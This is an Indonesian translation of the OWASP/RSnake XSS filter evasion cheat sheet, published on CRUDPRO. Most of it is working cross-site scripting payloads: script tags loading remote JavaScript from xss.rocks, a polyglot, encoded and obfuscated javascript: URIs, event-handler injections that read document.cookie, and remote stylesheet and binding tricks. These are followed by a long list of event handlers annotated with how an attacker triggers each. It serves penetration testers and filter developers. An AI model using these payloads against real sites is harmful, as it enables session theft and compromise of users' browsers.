Cross Site Scripting Vector Cheat Sheet - CRUDPRO

Cross Site Scripting Vector Cheat Sheet

Pengantar

Artikel ini fokus pada pengadaan professional pengetesan keamanan program dengan tutorial untuk membantu dalam pengetesan Cross Site Scripting. Isi awalnya artikel ini disumbangkan ke OWASP oleh RSnake, dari Cheat Sheet XSS seminalnya, yang berada di: http://ha.ckers.org/xss.html. Situs itu saat ini diarahkan ke rumah barunya di sini, tempat kami merencanakan untuk memelihara dan tingkatkannya. Helai Cheat Pencegahan OWASP pertama, Helai Cheat Pencegahan Skrip Lintasi Situs, di inspirasi oleh Lembar Cheat XSS RSnake, jadi kami mengucapkan terima kasih ke RSnake atas ide kami. Kami ingin membuat tutorial singkat dan simpel yang bisa diikuti pengembang untuk menahan XSS, dibanding sekedar memberitahu pengembang untuk membuat program yang bisa membuat perlindungan dari semua trick eksklusif yang ditetapkan dalam lembar contekan gempuran yang cukup sulit, dan dengan begitu Seri Lembar Cheat OWASP lahir.

Test

Lembar contekan ini memberikan rangkaian gempuran XSS yang bisa dipakai untuk mem-bypass filter protektif XSS tertentu. Berharap dicatat jika pemfilteran input ialah pertahanan yang tidak lengkap untuk XSS yang bisa dipakai untuk mengilustrasikan test ini.

Test XSS Dasar Tanpa Penghindaran Filter

Ini ialah injeksi JavaScript XSS normal, dan kemungkinan akan kedapatan, tapi saya rekomendasikan untuk mencoba lebih dulu (pertanda kutip tidak dibutuhkan di browser modern apa saja hingga dihilangkan di sini.

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

Pencari XSS (Polygot)

Berikut ini adalah "polygot test XSS payload". Tes ini akan dijalankan dalam berbagai konteks termasuk html, string skrip, js, dan URL. Terima kasih kepada Gareth Heyes atas kontribusi ini.

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Gambar XSS Menggunakan JavaScript Directive

Gambar XSS menggunakan arahan JavaScript (IE7.0 tidak mendukung arahan JavaScript dalam konteks gambar, tetapi mendukung dalam konteks lain, tetapi berikut ini menunjukkan prinsip-prinsip yang akan bekerja di tag lain juga:

<IMG SRC="javascript:alert('XSS');">

Tidak ada Kutipan dan tidak ada titik koma

<IMG SRC=javascript:alert('XSS')>

Vektor Serangan XSS Tidak Peka Huruf Besar

<IMG SRC=JaVaScRiPt:alert('XSS')>

Entitas HTML

Titik koma diperlukan agar ini berfungsi:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Kebingungan Aksen Kuburan

Jika Anda perlu menggunakan tanda kutip ganda dan tunggal, Anda dapat menggunakan aksen kuburan untuk merangkum string JavaScript - ini juga berguna karena banyak filter skrip lintas situs tidak tahu tentang aksen kuburan:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Tag A yang salah bentuk

Lewati atribut HREF dan dapatkan daging XXS... Dikirim oleh David Cross \~ Diverifikasi di Chrome

\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

atau Chrome suka mengganti tanda kutip yang hilang untuk Anda... jika Anda mengalami kesulitan, tinggalkan saja dan Chrome akan menempatkannya di tempat yang tepat dan memperbaiki tanda kutip yang hilang pada URL atau skrip.

\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

Tag IMG salah format

Awalnya ditemukan oleh Begeek (tapi dibersihkan dan disingkat supaya berfungsi di semua browser), vector XSS ini menggunakan mesin rendering santai untuk membuat vector XSS kami dalam tag IMG yang perlu dienkapsulasi dalam pertanda kutip. Saya beranggapan ini awalannya ditujukan untuk memperbaiki pengkodean yang asal-asalan. Ini akan membuat lebih susah untuk menguraikan tag HTML secara benar:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

Dari CharCode

Jika tidak ada tanda kutip dalam bentuk apa pun yang diizinkan, Anda dapat eval() a fromCharCode dalam JavaScript untuk membuat vektor XSS apa pun yang Anda butuhkan:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Tag SRC Default untuk Mendapatkan Filter Sebelumnya yang Memeriksa Domain SRC

Ini akan melewati sebagian besar filter domain SRC. Memasukkan JavaScript dalam metode peristiwa juga akan berlaku untuk injeksi jenis tag HTML apa pun yang menggunakan elemen seperti Formulir, Iframe, Input, Sematkan, dll. Ini juga akan memungkinkan peristiwa yang relevan untuk jenis tag diganti seperti onblur, onclick memberi Anda ekstensif jumlah variasi untuk banyak suntikan yang tercantum di sini. Dikirim oleh David Cross.

Diedit oleh Abdullah Hussam(@Abdulahhusam).

<IMG SRC=# onmouseover="alert('xxs')">

Tag SRC Default dengan Membiarkannya Kosong

<IMG SRC= onmouseover="alert('xxs')">

Tag SRC Default dengan Membiarkannya Sepenuhnya

<IMG onmouseover="alert('xxs')">

Pada Peringatan Kesalahan

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror dan JavaScript Alert Encode

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Rekomendasi Karakter HTML Desimal

Semua contoh XSS yang memakai instruksi javascript: dalam tidak berfungsi di Firefox atau Netscape 8.1+ dalam model mesin rendering Gecko).

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Referensi Karakter HTML Desimal Tanpa Tanda Titik Koma

Ini sering efektif di XSS yang mencoba mencari "XX;", karena kebanyakan orang tidak tahu tentang padding - hingga total 7 karakter numerik. Ini juga berguna untuk orang yang memecahkan kode terhadap string seperti $tmp_string =\~ s/.*\(\d+);.*/$1/; yang salah mengasumsikan titik koma diperlukan untuk mengakhiri string yang disandikan HTML (saya telah melihat ini di alam liar):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Referensi Karakter HTML Heksadesimal Tanpa Tanda Titik Koma

Ini juga merupakan serangan XSS yang layak terhadap string di atas $tmp_string=\~ s/.*\(\d+);.*/$1/; yang mengasumsikan bahwa ada karakter numerik mengikuti simbol pound - yang tidak benar dengan karakter HTML hex).

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Tab Tersemat

Digunakan untuk memecah serangan skrip lintas situs:

<IMG SRC="jav ascript:alert('XSS');">

Tab Terenkode Tertanam

Gunakan yang ini untuk memecah XSS :

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Baris Baru Tertanam ke Break-up XSS

Beberapa situs web mengklaim bahwa salah satu karakter 09-13 (desimal) akan berfungsi untuk serangan ini. Itu tidak benar. Hanya 09 (tab horizontal), 10 (baris baru) dan 13 (carriage return) yang berfungsi. Lihat grafik ascii untuk lebih jelasnya. Empat contoh XSS berikut menggambarkan vektor ini:

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

Kereta Tertanam Kembali ke Break-up XSS

(Catatan: dengan yang di atas saya membuat string ini lebih panjang dari yang seharusnya karena nol dapat dihilangkan. Seringkali saya melihat filter yang menganggap pengkodean hex dan dec harus dua atau tiga karakter. Aturan sebenarnya adalah 1 -7 karakter.

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Null memecah Arahan JavaScript

Karakter null juga berfungsi sebagai vektor XSS tetapi tidak seperti di atas, Anda perlu menyuntikkannya secara langsung menggunakan sesuatu seperti Burp Proxy atau menggunakan %00 dalam string URL atau jika Anda ingin menulis alat injeksi Anda sendiri, Anda dapat menggunakan vim (^V^ @ akan menghasilkan null) atau program berikut untuk membuatnya menjadi file teks. Oke, saya berbohong lagi, versi Opera yang lebih lama (sekitar 7.11 di Windows) rentan terhadap satu karakter tambahan 173 (karakter kontrol tanda hubung lunak). Tetapi null char %00 jauh lebih berguna dan membantu saya melewati filter dunia nyata tertentu dengan variasi pada contoh ini:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Spasi dan Meta Chars Sebelum JavaScript di Gambar untuk XSS

Ini berguna jika kecocokan pola tidak memperhitungkan spasi dalam kata javascript: -yang benar karena itu tidak akan dirender- dan membuat asumsi yang salah bahwa Anda tidak dapat memiliki spasi antara kutipan dan javascript: kata kunci. Kenyataan sebenarnya adalah Anda dapat memiliki karakter apa pun dari 1-32 dalam desimal:

<IMG SRC=" &#14; javascript:alert('XSS');">

XSS non-alfa-non-digit

Pengurai HTML Firefox mengasumsikan non-alpha-non-digit tidak valid setelah kata kunci HTML dan oleh karena itu menganggapnya sebagai spasi putih atau token tidak valid setelah tag HTML. Masalahnya adalah beberapa filter XSS berasumsi bahwa tag yang mereka cari dipecah oleh spasi. Misalnya \<SCRIPT\\s != \<SCRIPT/XSS\\s:

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

Berdasarkan ide yang sama seperti di atas, bagaimanapun, dikembangkan di atasnya, menggunakan fuzzer Rnake. Mesin rendering Gecko memungkinkan karakter apa pun selain huruf, angka, atau karakter enkapsulasi (seperti tanda kutip, kurung sudut, dll...) antara event handler dan tanda sama dengan, membuatnya lebih mudah untuk melewati blok skrip lintas situs. Perhatikan bahwa ini juga berlaku untuk karakter aksen kuburan seperti yang terlihat di sini:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit mengingatkan saya bahwa ada perilaku yang sedikit berbeda antara mesin rendering IE dan Gecko yang memungkinkan hanya garis miring antara tag dan parameter tanpa spasi. Ini bisa berguna jika sistem tidak mengizinkan spasi.

<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

Kurung Terbuka Asing

Disampaikan oleh Franz Sedlmaier, vektor XSS ini dapat mengalahkan mesin pendeteksi tertentu yang bekerja dengan terlebih dahulu menggunakan pasangan kurung sudut buka dan tutup yang cocok dan kemudian dengan melakukan perbandingan tag di dalamnya, alih-alih algoritma yang lebih efisien seperti Boyer-Moore yang mencari seluruh string cocok dengan braket sudut terbuka dan tag terkait (tentu saja setelah de-obfuscation). Garis miring ganda mengomentari braket asing akhir untuk menekan kesalahan JavaScript:

<<SCRIPT>alert("XSS");//\<</SCRIPT>

Tidak ada Tag Skrip Penutup

Di Firefox dan Netscape 8.1 dalam mode mesin rendering Gecko, Anda sebenarnya tidak memerlukan bagian \></SCRIPT> dari vektor Cross Site Scripting ini. Firefox menganggap aman untuk menutup tag HTML dan menambahkan tag penutup untuk Anda. Bagaimana bijaksana! Tidak seperti yang berikutnya, yang tidak mempengaruhi Firefox, ini tidak memerlukan HTML tambahan di bawahnya. Anda dapat menambahkan tanda kutip jika perlu, tetapi itu tidak diperlukan secara umum, meskipun berhati-hatilah, saya tidak tahu seperti apa tampilan HTML setelah ini disuntikkan:

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

Resolusi Protokol dalam Tag Skrip

Varian khusus ini dikirimkan oleh ukasz Pilorz dan sebagian didasarkan pada bypass resolusi protokol Ozh di bawah ini. Contoh skrip lintas situs ini berfungsi di IE, Netscape dalam mode rendering IE dan Opera jika Anda menambahkan tag </SCRIPT> di bagian akhir. Namun, ini sangat berguna jika ruang menjadi masalah, dan tentu saja, semakin pendek domain Anda, semakin baik. ".j" valid, terlepas dari jenis penyandiannya karena browser mengetahuinya dalam konteks tag SCRIPT.

<SCRIPT SRC=//xss.rocks/.j>

Setengah Terbuka HTML/JavaScript XSS Vektor

Tidak seperti Firefox, mesin rendering IE tidak menambahkan data tambahan ke halaman Anda, tetapi memungkinkan arahan javascript: dalam gambar. Ini berguna sebagai vektor karena tidak memerlukan braket sudut dekat. Ini mengasumsikan ada tag HTML di bawah tempat Anda menyuntikkan vektor skrip lintas situs ini. Meskipun tidak ada tag tutup ">" tag di bawahnya akan menutupnya. Catatan: ini mengacaukan HTML, tergantung pada HTML apa yang ada di bawahnya. Ini mengatasi regex NIDS berikut: /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\] +((\\%3E)|\>)/karena tidak memerlukan akhir.. Sebagai catatan tambahan, ini juga efektif terhadap filter XSS dunia nyata yang saya temukan menggunakan tag <IFRAME terbuka alih-alih tag <IMG:

<IMG SRC="('XSS')"

Kurung Sudut Terbuka Ganda

Menggunakan braket sudut terbuka di akhir vektor alih-alih braket sudut dekat menyebabkan perilaku yang berbeda dalam rendering Netscape Gecko. Tanpa itu, Firefox akan berfungsi tetapi Netscape tidak akan:

<iframe src=http://xss.rocks/scriptlet.html <

Melarikan Diri dari Pelarian JavaScript

Ketika aplikasi ditulis untuk menampilkan beberapa informasi pengguna di dalam JavaScript seperti berikut: <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT> dan Anda ingin memasukkan JavaScript Anda sendiri ke dalamnya tetapi aplikasi sisi server lolos dari kutipan tertentu, Anda dapat menghindarinya dengan keluar dari karakter pelariannya. Ketika ini disuntikkan, ia akan membaca <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT> yang akhirnya melepaskan tanda kutip ganda dan menyebabkan Cross Site Scripting vektor api. Pencari XSS menggunakan metode ini.:

\";alert('XSS');//

Alternatifnya, jika pelolosan JSON atau JavaScript yang benar telah diterapkan ke data yang disematkan tetapi bukan penyandian HTML, adalah menyelesaikan blok skrip dan memulai blok skrip Anda sendiri:

</script><script>alert('XSS');</script>

Tag Judul Akhir

Ini adalah vektor XSS sederhana yang menutup tag <TITLE>, yang dapat merangkum serangan skrip lintas situs yang berbahaya:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

Masukan Gambar

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Citra Tubuh

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc

<IMG DYNSRC="javascript:alert('XSS')">

IMG Lowsrc

<IMG LOWSRC="javascript:alert('XSS')">

Daftar-gaya-gambar

Masalah yang cukup esoteris berurusan dengan menyematkan gambar untuk daftar berpoin. Ini hanya akan bekerja di mesin rendering IE karena arahan JavaScript. Bukan vektor skrip lintas situs yang sangat berguna:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript dalam Gambar

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (hanya Netscape versi lama)

<IMG SRC="livescript:[code]">

Tag Objek SVG

<svg/onload=alert('XSS')>

ECMAScript 6

Set.constructor`alert\x28document.domain\x29

Tag Body

Metode tidak memerlukan penggunaan varian javascript: atau <SCRIPT... untuk menyelesaikan serangan XSS). Dan Crowley juga mencatat bahwa Anda dapat meletakkan spasi sebelum tanda sama dengan (onload= != onload =):

<BODY ONLOAD=alert('XSS')>

Event

Itu dapat digunakan dalam serangan XSS serupa dengan yang di atas (ini adalah daftar paling lengkap di internet, pada saat penulisan ini). Terima kasih kepada Rene Ledosquet untuk pembaruan HTML+TIME.

Referensi Web Dottoro juga memiliki daftar acara yang bagus di JavaScript.

  1. FSCommand() (penyerang dapat menggunakan ini saat dieksekusi dari dalam objek Flash yang disematkan)
  2. onAbort() (ketika pengguna membatalkan pemuatan gambar)
  3. onActivate() (ketika objek ditetapkan sebagai elemen aktif)
  4. onAfterPrint() (aktif setelah pengguna mencetak atau melihat pratinjau pekerjaan cetak)
  5. onAfterUpdate() (mengaktifkan pada objek data setelah memperbarui data di objek sumber)
  6. onBeforeActivate() (diaktifkan sebelum objek ditetapkan sebagai elemen aktif)
  7. onBeforeCopy() (penyerang mengeksekusi string serangan tepat sebelum pilihan disalin ke clipboard - penyerang dapat melakukan ini dengan fungsi execCommand("Copy"))
  8. onBeforeCut() (penyerang mengeksekusi string serangan tepat sebelum pilihan dipotong)
  9. onBeforeDeactivate() (diaktifkan tepat setelah activeElement diubah dari objek saat ini)
  10. onBeforeEditFocus() (Diaktifkan sebelum objek yang terdapat dalam elemen yang dapat diedit memasuki status yang diaktifkan UI atau ketika objek kontainer yang dapat diedit dipilih sebagai kontrol)
  11. onBeforePaste() (pengguna perlu ditipu untuk menempel atau dipaksa menggunakan fungsi execCommand("Tempel"))
  12. onBeforePrint() (pengguna perlu ditipu untuk mencetak atau penyerang dapat menggunakan fungsi print() atau execCommand("Print")).
  13. onBeforeUnload() (pengguna perlu ditipu untuk menutup browser - penyerang tidak dapat membongkar jendela kecuali jika itu muncul dari induknya)
  14. onBeforeUpdate() (mengaktifkan pada objek data sebelum memperbarui data di objek sumber)
  15. onBegin() (acara onbegin langsung aktif ketika garis waktu elemen dimulai)
  16. onBlur() (dalam kasus di mana popup lain dimuat dan jendela kehilangan fokus)
  17. onBounce() (diaktifkan ketika properti perilaku objek tenda diatur ke "alternatif" dan konten tenda mencapai satu sisi jendela)
  18. onCellChange() (diaktifkan saat data berubah di penyedia data)
  19. onChange() (bidang pilih, teks, atau TEXTAREA kehilangan fokus dan nilainya telah diubah)
  20. onChange() (bidang pilih, teks, atau TEXTAREA kehilangan fokus dan nilainya telah diubah)
  21. onClick() (seseorang mengklik formulir)
  22. onContextMenu() (pengguna perlu mengklik kanan pada area serangan)
  23. onControlSelect() (diaktifkan saat pengguna akan membuat pilihan kontrol objek)
  24. onCopy() (pengguna perlu menyalin sesuatu atau dapat dieksploitasi menggunakan perintah execCommand("Copy"))
  25. onCut() (pengguna perlu menyalin sesuatu atau dapat dieksploitasi menggunakan perintah execCommand("Cut"))
  26. onDataAvailable() (pengguna perlu mengubah data dalam suatu elemen, atau penyerang dapat melakukan fungsi yang sama)
  27. onDataSetChanged() (diaktifkan saat kumpulan data yang diekspos oleh objek sumber data berubah)
  28. onDataSetComplete() (diaktifkan untuk menunjukkan bahwa semua data tersedia dari objek sumber data)
  29. onDblClick() (pengguna mengklik dua kali elemen formulir atau tautan)
  30. onDeactivate() (diaktifkan ketika activeElement diubah dari objek saat ini ke objek lain di dokumen induk)
  31. onDrag() (mengharuskan pengguna menyeret objek)
  32. onDragEnd() (mengharuskan pengguna menyeret objek)
  33. onDragLeave() (mengharuskan pengguna menyeret objek dari lokasi yang valid)
  34. onDragEnter() (mengharuskan pengguna menyeret objek ke lokasi yang valid)
  35. onDragDrop() (pengguna menjatuhkan objek (mis. file) ke jendela browser)
  36. onDragStart() (terjadi saat pengguna memulai operasi drag)
  37. onDrop() (pengguna menjatuhkan objek (misalnya file) ke jendela browser)
  38. onEnd() (event onEnd diaktifkan ketika timeline berakhir.
  39. onError() (memuat dokumen atau gambar menyebabkan kesalahan)
  40. onErrorUpdate() (diaktifkan pada objek databound saat terjadi kesalahan saat memperbarui data terkait di objek sumber data)
  41. onFilterChange() (diaktifkan saat filter visual menyelesaikan perubahan status)
  42. onFinish() (penyerang dapat membuat exploit ketika marquee selesai mengulang)
  43. onFocus() (penyerang mengeksekusi string serangan ketika jendela mendapat fokus)
  44. onFocusOut() (penyerang mengeksekusi string serangan ketika jendela kehilangan fokus)
  45. onHashChange() (diaktifkan ketika bagian pengidentifikasi fragmen dari alamat dokumen saat ini berubah)
  46. onHelp() (penyerang mengeksekusi string serangan ketika pengguna menekan F1 saat jendela dalam fokus)
  47. onInput() (isi teks elemen diubah melalui antarmuka pengguna)
  48. onKeyDown() (pengguna menekan tombol)
  49. onKeyPress() (pengguna menekan atau menahan tombol)
  50. onKeyUp() (pengguna melepaskan kunci)
  51. onLayoutComplete() (pengguna harus mencetak atau mencetak pratinjau)
  52. onLoad() (penyerang mengeksekusi string serangan setelah jendela dimuat)
  53. onLoseCapture() (dapat dieksploitasi dengan metode releaseCapture())
  54. onMediaComplete() (Bila file media streaming digunakan, peristiwa ini dapat diaktifkan sebelum file mulai diputar)
  55. onMediaError() (Pengguna membuka halaman di browser yang berisi file media, dan acara akan diaktifkan saat ada masalah)
  56. onMessage() (api ketika dokumen menerima pesan)
  57. onMouseDown() (yang penyerang perlu membuat pengguna mengklik gambar)
  58. onMouseEnter() (kursor bergerak di atas objek atau area)
  59. onMouseLeave() (penyerang perlu membuat pengguna mengarahkan mouse ke gambar atau tabel dan kemudian mematikannya lagi)
  60. onMouseMove() (penyerang perlu membuat pengguna mengarahkan mouse ke gambar atau tabel)
  61. onMouseOut() (penyerang perlu membuat pengguna mengarahkan mouse ke gambar atau tabel dan kemudian mematikannya lagi)
  62. onMouseOver() (kursor bergerak di atas objek atau area)
  63. onMouseUp() (penyerang perlu membuat pengguna mengklik gambar)
  64. onMouseWheel() (penyerang perlu membuat pengguna menggunakan roda mouse mereka)
  65. onMove() (pengguna atau penyerang akan memindahkan halaman)
  66. onMoveEnd() (pengguna atau penyerang akan memindahkan halaman)
  67. onMoveStart() (pengguna atau penyerang akan memindahkan halaman)
  68. onOffline() (terjadi jika browser bekerja dalam mode online dan mulai bekerja offline)
  69. onOnline() (terjadi jika browser bekerja dalam mode offline dan mulai bekerja online)
  70. onOutOfSync() (mengganggu kemampuan elemen untuk memutar medianya seperti yang ditentukan oleh timeline)
  71. onPaste() (pengguna perlu menempelkan atau penyerang dapat menggunakan fungsi execCommand("Tempel"))
  72. onPause() (event onpause diaktifkan pada setiap elemen yang aktif saat timeline dijeda, termasuk elemen body)
  73. onPopState() (diaktifkan saat pengguna menavigasi riwayat sesi)
  74. onProgress() (penyerang akan menggunakan ini saat film flash sedang dimuat)
  75. onPropertyChange() (pengguna atau penyerang perlu mengubah properti elemen)
  76. onReadyStateChange() (pengguna atau penyerang perlu mengubah properti elemen)
  77. onRedo() (pengguna melanjutkan dalam membatalkan riwayat transaksi)
  78. onRepeat() (acara diaktifkan sekali untuk setiap pengulangan garis waktu, tidak termasuk siklus penuh pertama)
  79. onReset() (pengguna atau penyerang mengatur ulang formulir)
  80. onResize() (pengguna akan mengubah ukuran jendela; penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: <SCRIPT>self.resizeTo(500.400);</SCRIPT>)
  81. onResizeEnd() (pengguna akan mengubah ukuran jendela; penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: <SCRIPT>self.resizeTo(500.400);</SCRIPT>)
  82. onResizeStart() (pengguna akan mengubah ukuran jendela; penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: <SCRIPT>self.resizeTo(500.400);</SCRIPT>)
  83. onResume() (event onresume diaktifkan pada setiap elemen yang menjadi aktif saat timeline dilanjutkan, termasuk elemen body)
  84. onReverse() (jika elemen memiliki repeatCount lebih besar dari satu, acara ini diaktifkan setiap kali timeline mulai diputar mundur)
  85. onRowsEnter() (pengguna atau penyerang perlu mengubah baris dalam sumber data)
  86. onRowExit() (pengguna atau penyerang perlu mengubah baris dalam sumber data)
  87. onRowDelete() (pengguna atau penyerang perlu menghapus baris dalam sumber data)
  88. onRowInserted() (pengguna atau penyerang perlu memasukkan baris dalam sumber data)
  89. onScroll() (pengguna perlu menggulir, atau penyerang dapat menggunakan fungsi scrollBy())
  90. onSeek() (event terbalik menyala ketika garis waktu diatur untuk diputar ke segala arah selain maju)
  91. onSelect() (pengguna perlu memilih beberapa teks - penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: window.document.execCommand("SelectAll");)
  92. onSelectionChange() (pengguna perlu memilih beberapa teks - penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: window.document.execCommand("SelectAll");)
  93. onSelectStart() (pengguna perlu memilih beberapa teks - penyerang dapat menginisialisasi secara otomatis dengan sesuatu seperti: window.document.execCommand("SelectAll");)
  94. onStart() (diaktifkan di awal setiap loop tenda)
  95. onStop() (pengguna perlu menekan tombol stop atau meninggalkan halaman web)
  96. onStorage() (area penyimpanan berubah)
  97. onSyncRestored() (pengguna menginterupsi kemampuan elemen untuk memutar medianya seperti yang ditentukan oleh garis waktu untuk diaktifkan)
  98. onSubmit() (memerlukan penyerang atau pengguna mengirimkan formulir)
  99. onTimeError() (pengguna atau penyerang menetapkan properti waktu, seperti dur, ke nilai yang tidak valid)
  100. onTrackChange() (pengguna atau penyerang mengubah trek dalam daftar putar)
  101. onUndo() (pengguna mundur dalam membatalkan riwayat transaksi)
  102. onUnload() (saat pengguna mengklik tautan apa pun atau menekan tombol kembali atau penyerang memaksa klik)
  103. onURLFlip() (peristiwa ini diaktifkan saat file Format Streaming Lanjutan (ASF), dimainkan oleh tag media HTML+TIME (Timed Interactive Multimedia Extensions), memproses perintah skrip yang disematkan dalam file ASF)
  104. seekSegmentTime() (ini adalah metode yang menempatkan titik tertentu pada garis waktu segmen elemen dan mulai diputar dari titik itu. Segmen terdiri dari satu pengulangan garis waktu termasuk pemutaran terbalik menggunakan atribut AUTOREVERSE.)

BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes

<BR SIZE="&{alert('XSS')}">

STYLE sheet

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Remote style sheet

Menggunakan sesuatu yang sederhana seperti lembar gaya jarak jauh, Anda dapat memasukkan XSS Anda karena parameter gaya dapat didefinisikan ulang menggunakan ekspresi yang disematkan. Ini hanya berfungsi di IE dan Netscape 8.1+ dalam mode mesin rendering IE. Perhatikan bahwa tidak ada apa pun di halaman yang menunjukkan bahwa ada JavaScript yang disertakan. Catatan: Dengan semua contoh lembar gaya jarak jauh ini, mereka menggunakan tag tubuh, jadi itu tidak akan berfungsi kecuali ada beberapa konten di halaman selain vektor itu sendiri, jadi Anda harus menambahkan satu huruf ke halaman untuk buat itu berfungsi jika itu adalah halaman kosong:

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

Remote style sheet part 2

Ini berfungsi sama seperti di atas, tetapi menggunakan tag <STYLE> alih-alih tag <LINK>). Sedikit variasi pada vektor ini digunakan untuk meretas Google Desktop. Sebagai catatan tambahan, Anda dapat menghapus tag </STYLE> akhir jika ada HTML segera setelah vektor untuk menutupnya. Ini berguna jika Anda tidak dapat memiliki tanda sama dengan atau garis miring dalam serangan skrip lintas situs Anda, yang telah muncul setidaknya sekali di dunia nyata:

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

Remote style sheet part 3

Ini hanya berfungsi di Opera 8.0 (tidak lagi di 9.x) tetapi cukup rumit. Menurut pengaturan RFC2616, header tautan bukan bagian dari spesifikasi HTTP1.1, namun beberapa browser masih mengizinkannya (seperti Firefox dan Opera). Triknya di sini adalah saya mengatur tajuk (yang pada dasarnya tidak berbeda dengan di tajuk HTTP yang mengatakan Tautan: <http://xss.rocks/xss.css>; REL=stylesheet) dan lembar gaya jarak jauh dengan salib saya vektor skrip situs menjalankan JavaScript, yang tidak didukung di FireFox:

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

Remote style sheet part 4

Ini hanya berfungsi di mesin rendering Gecko dan bekerja dengan mengikat file XUL ke halaman induk. Saya pikir ironi di sini adalah Netscape berasumsi bahwa Gecko lebih aman dan oleh karena itu rentan terhadap ini untuk sebagian besar situs:

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

STYLE Tags dengan Broken-up JavaScript untuk XSS

XSS ini terkadang mengirimkan IE ke dalam lingkaran peringatan yang tak terbatas:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE Attribute using a Comment to Break-up Expression

Dibuat oleh Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG STYLE with Expression

Ini benar-benar hibrida dari vektor XSS di atas, tetapi ini benar-benar menunjukkan betapa sulitnya tag STYLE untuk diurai, seperti di atas ini dapat mengirim IE ke dalam satu lingkaran:

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE Tag (Older versions of Netscape only)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE Tag using Background-image

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}
</STYLE><A CLASS=XSS></A>

STYLE Tag using Background

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

Anonymous HTML with STYLE Attribute

IE6.0 dan Netscape 8.1+ dalam mode mesin rendering IE tidak terlalu peduli apakah tag HTML yang Anda buat ada atau tidak, selama itu dimulai dengan tanda kurung sudut terbuka dan huruf:

<XSS STYLE="xss:expression(alert('XSS'))">

File htc lokal

Ini sedikit berbeda dari dua vektor skrip lintas situs di atas karena menggunakan file .htc yang harus berada di server yang sama dengan vektor XSS. File contoh berfungsi dengan menarik JavaScript dan menjalankannya sebagai bagian dari atribut gaya:

<XSS STYLE="behavior: url('//xss.htc');">

US-ASCII Encoding

Pengkodean US-ASCII (ditemukan oleh Kurt Huwig). Ini menggunakan pengkodean ASCII yang salah format dengan 7 bit, bukan 8. XSS ini dapat melewati banyak filter konten tetapi hanya berfungsi jika host mentransmisikan dalam penyandian AS-ASCII, atau jika Anda mengatur penyandian sendiri . Ini lebih berguna terhadap penghindaran skrip lintas situs firewall aplikasi web daripada penghindaran filter sisi server. Apache Tomcat adalah satu-satunya server yang dikenal yang mentransmisikan dalam penyandian US-ASCII.

¼script¾alert(¢XSS¢)¼/script¾

META

Hal aneh tentang penyegaran meta adalah ia tidak mengirim perujuk di tajuk - sehingga dapat digunakan untuk jenis serangan tertentu di mana Anda perlu menyingkirkan URL perujuk:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using Data

